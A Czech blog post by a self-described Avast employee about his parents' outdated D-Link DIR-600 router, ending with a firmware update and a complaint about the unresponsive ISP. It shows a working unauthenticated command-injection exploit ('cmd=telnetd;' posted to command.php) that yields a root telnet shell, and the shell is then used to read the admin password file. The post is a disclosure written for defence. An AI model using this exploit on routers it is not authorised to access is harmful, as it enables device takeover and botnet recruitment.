kategorie:

menu:


Nebezpečný router

27.12.2016   ::    topic: Linux

Zhruba před měsícem mi rutinní test Avastu u rodičů zobrazil varování že domácí router má starý firmware obsahující zranitelnosti. Výsledky našeho síťového skenu (pro kolemjdoucí, jsem zaměstnancem Avastu) beru trochu s rezervou, poměrně často varuje o věcech které si člověk na síti sám nastavil a jsou zabezpečené. Neaktuální firmware ale na lehkou váhu brát nelze. Ze zvědavosti jsem se podíval na detaily, jedná se o zranitelnisti CVE-2011–4723 a EDB-ID: 24453 u firmware verze 2.12 na routeru D-Link DIR-600, B5.

Síťový test Avast!

Při čtení detailů druhé zmíněné zranitelnosti jsem nevěřil vlastním očím: OS Command Injection (unauthenticated)… To přeci nemůže být tak jednoduché! Otevřu terminál a zkouším:

$ curl -vvv -X POST --data "cmd=telnetd;" "http://192.168.0.1/command.php"
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 192.168.0.1...
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> POST /command.php HTTP/1.1
> Host: 192.168.0.1
> User-Agent: curl/7.50.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
^C
$ nmap 192.168.0.1

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-04 12:12 CET
Nmap scan report for 192.168.0.1
Host is up (0.027s latency).
Not shown: 995 closed ports
PORT      STATE    SERVICE
1/tcp     filtered tcpmux
23/tcp    open     telnet
53/tcp    open     domain
80/tcp    open     http
49152/tcp open     unknown

$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2012-01-11 23:01:49 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# echo $USER
root

Stejného výsledku jsem dosáhl i když první request obsahoval Referer hlavičku, takže command.php neobsahuje ani tu nejjednodušší ochranu proti CSRF a útočník tak může na routeru spustit libovolný příkaz při pouhém navštívení kompromitovaného webu. Třeba takového na kterém je obsah spravován Wordpressem se zranitelným pluginem, vůbec se nemusí jednat o žádný podezřelý web s pornem nebo hazardem. Ovládnutý router pak může útočník s minimálním úsilím zapojit do botnetu a pronajímat jeho konektivitu k DDOS útokům, upravit na něm DNS záznamy a pokusit se ukrást přístupové údaje na růzdné služby…

Co s tím? Pokud správně chápu podmínky, router je vlastnictvím poskytovatele připojení a rodiče jej mají od společnosti JH Comp pouze zapůjčen. Do aktualizace firmware se mi tedy úplně nechtělo. Navíc stejný router s neaktuálním firmware nejspíše mají i další zákazníci. Napsal jsem tedy poskytovali mail zda-li by mohli tuto zoufalou situaci napravit.

Ani po 23 dnech nepřišla žádná odpověď. Do aktualizace se tedy pouštím sám. V souboru /var/passwd jsem našel heslo do adminitrace routeru:

# cat /var/passwd
"admin" "router" "0"

Zapsal jsem si aktuální nastavení a vydal se hledat novou verzi. Na anglickém webu support.dlink.com jsem se k výsledku neproklikal, pomohl až strýček Google který mě nasměroval na české stránky podpory www.dlink.com/cz/cs/support/ kde je ke stažení firmware verze 2.18 z 24.7.2015­. Škoda že stahování probíhá přes nešifrované ftp a není možné ověřit integritu dat. V administraci routeru jsem vybral bin soubor a s mrazením v zádech klikl na upgrade…

Vše proběhlo vpořádku, zruba po dvou minutách se router restartoval a počítač dostal novou adresu od DHCP serveru. Veškeré nastavení bylo zachováno, router nyní reportuje verzi 2.18 ve které Avast neví o žádné zranitelnosti. Neuvěřitelné. Nakonec jsem ještě změnil heslo k routeru a mohu jít s klidem spát.

Jen škoda že poskytovatelé připojení na bezpečnost svých zákazníků kašlou a nechávají ve svých sítích růst potenciální botnet.